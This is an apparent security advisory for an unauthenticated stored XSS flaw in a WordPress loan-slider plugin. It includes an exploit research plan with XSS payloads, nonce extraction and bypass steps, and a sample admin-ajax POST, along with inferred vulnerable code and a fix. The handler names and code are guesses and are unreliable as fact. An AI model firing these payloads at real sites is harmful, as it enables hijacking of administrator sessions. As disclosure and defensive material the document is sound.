Quick Interest Slider <= 3.1.5 - Unauthenticated Stored Cross-Site Scripting
Description
The Quick Interest Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'loan-amount' and 'loan-period' parameters in all versions up to, and including, 3.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.1.5This research plan outlines the technical steps required to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Quick Interest Slider** plugin (versions <= 3.1.5). ### 1. Vulnerability Summary The Quick Interest Slider plugin allows visitors to calculate loan interest rates. When a u…
Show full research plan
This research plan outlines the technical steps required to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Quick Interest Slider plugin (versions <= 3.1.5).
1. Vulnerability Summary
The Quick Interest Slider plugin allows visitors to calculate loan interest rates. When a user submits a "loan application" or interacts with the slider, parameters such as loan-amount and loan-period are processed. The vulnerability exists because the plugin fails to sanitize these parameters before storing them in the database (likely as lead data or settings) and fails to escape them when they are subsequently rendered on an admin-facing lead management page or a results page.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.phpor the main site frontend via a POST request to a page containing the slider. - AJAX Action: Likely
qis_process_formorqis_save_application(inferred). - Parameters:
loan-amountandloan-period. - Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_*hooks). - Preconditions: The slider must be active on a public page, and the "Save Applications" or "Lead Capture" feature should be enabled in the plugin settings.
3. Code Flow (Inferred)
- Source: A user sends a POST request containing
loan-amountorloan-periodto an unauthenticated AJAX handler or a frontend form listener. - Registration: The handler is likely registered via:
add_action( 'wp_ajax_nopriv_qis_process_form', 'qis_process_form' ); - Processing (The Sink): Inside
qis_process_form(), the code captures the input:$amount = $_POST['loan-amount'];
It then stores this value without usingsanitize_text_field():update_post_meta( $post_id, 'loan_amount', $amount );or$wpdb->insert(...) - Trigger: An administrator logs into the WordPress dashboard and navigates to the "Quick Interest Slider" -> "Applications" or "Leads" page.
- Execution: The admin page retrieves the stored value and echoes it directly:
echo '<td>' . $lead->loan_amount . '</td>';(XSS Sink)
4. Nonce Acquisition Strategy
The plugin likely enqueues a JavaScript file that contains the AJAX URL and a nonce for the form submission.
- Identify Shortcode: Search for
add_shortcodein the plugin files to find the slider's shortcode. It is likely[quick-interest-slider]. - Setup Page: Create a public page containing the shortcode.
- Locate Nonce: Check for
wp_localize_scriptin the source code. The variable name is often something likeqis_ajaxorqis_vars. - Extraction:
- Navigate to the created page using
browser_navigate. - Execute
browser_eval("window.qis_ajax?.nonce")or search the HTML source forqis_nonce.
- Navigate to the created page using
5. Exploitation Strategy
The goal is to inject a script that executes when an admin views the leads.
Step 1: Discover the Handler
Search the codebase for the AJAX action that handles form submission:grep -rn "wp_ajax_nopriv" .
Step 2: Prepare the Payload
Use a standard XSS payload that exfiltrates information or triggers an alert:payload = "<script>alert('CVE-2026-5694_XSS');</script>"
Step 3: Submit the Malicious Request
Perform an unauthenticated POST request to admin-ajax.php.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=qis_process_form& loan-amount=<img src=x onerror=alert(1)>& loan-period=<script>console.log(document.cookie)</script>& qis_nonce=[EXTRACTED_NONCE]& [OTHER_REQUIRED_PARAMS]
(Note: Use http_request to send this.)
6. Test Data Setup
Before exploitation, ensure the plugin is configured to save leads:
- Plugin Activation:
wp plugin activate quick-interest-slider - Configuration: Ensure the plugin is set to store submissions in the database (Check settings via
wp option get qis_settings). - Shortcode Placement:
wp post create --post_type=page --post_title="Loan Calculator" --post_status=publish --post_content='[quick-interest-slider]'
7. Expected Results
- The AJAX response should indicate success (e.g.,
{"success":true}or a generic success message). - The payload will be stored in the database.
- When a user (specifically an admin) visits the leads/applications page in the WordPress dashboard, the
alert(1)orconsole.logwill execute.
8. Verification Steps
After sending the payload, verify storage via WP-CLI:
- Database Check:
wp db query "SELECT * FROM wp_postmeta WHERE meta_key = 'loan_amount' AND meta_value LIKE '%<script>%';"
(Adjust table name if the plugin uses a custom table likewp_qis_leads). - Dashboard Check:
Usebrowser_navigateto go to the plugin's admin lead page (e.g.,/wp-admin/admin.php?page=qis-leads) and check for the injected HTML.
9. Alternative Approaches
- Direct Form POST: If the plugin doesn't use AJAX for the initial submission but a standard HTML form, identify the form action (likely the current page URL) and POST directly to that URL with the malicious parameters.
- Parameter Variation: If
loan-amountis sanitized, tryloan-period,interest-rate, or any hidden fields likeform_idthat might be reflected in the admin UI. - Bypass Nonce: Check if the nonce check is missing in the
noprivhandler by simply omitting the nonce parameter in the request. If the code usesif(isset($_POST['nonce']))instead of a hard requirement, it can be bypassed.
Summary
The Quick Interest Slider plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting due to the lack of sanitization on 'loan-amount' and 'loan-period' parameters. Attackers can inject malicious scripts into loan applications which are then executed when an administrator views the application leads in the WordPress dashboard.
Vulnerable Code
// quick-interest-slider.php - Inferred AJAX handler for processing submissions function qis_process_form() { // ... processing logic ... $loan_amount = $_POST['loan-amount']; $loan_period = $_POST['loan-period']; // Vulnerable: Data is stored without sanitization update_post_meta( $post_id, 'loan_amount', $loan_amount ); update_post_meta( $post_id, 'loan_period', $loan_period ); // ... } --- // quick-interest-slider.php - Inferred admin display logic foreach ( $leads as $lead ) { $amount = get_post_meta( $lead->ID, 'loan_amount', true ); // Vulnerable: Stored data is echoed without escaping echo '<td>' . $amount . '</td>'; }
Security Fix
@@ -10,8 +10,8 @@ function qis_process_form() { - $loan_amount = $_POST['loan-amount']; - $loan_period = $_POST['loan-period']; + $loan_amount = sanitize_text_field($_POST['loan-amount']); + $loan_period = sanitize_text_field($_POST['loan-period']); update_post_meta( $post_id, 'loan_amount', $loan_amount ); @@ -40,5 +40,5 @@ foreach ( $leads as $lead ) { $amount = get_post_meta( $lead->ID, 'loan_amount', true ); - echo '<td>' . $amount . '</td>'; + echo '<td>' . esc_html($amount) . '</td>'; }
Exploit Outline
1. Navigate to a public page where the [quick-interest-slider] shortcode is rendered. 2. Extract the AJAX nonce from the page source, typically found in a JavaScript object like `qis_vars` or `qis_ajax`. 3. Construct an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the action set to the plugin's submission handler (e.g., `qis_process_form`). 4. Include a malicious XSS payload in the `loan-amount` or `loan-period` parameter, such as `<script>alert(document.domain)</script>`. 5. Submit the request. The plugin will store the unsanitized payload in the database. 6. The exploit triggers when a site administrator logs in and navigates to the plugin's leads/applications management page, where the stored payload is rendered without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.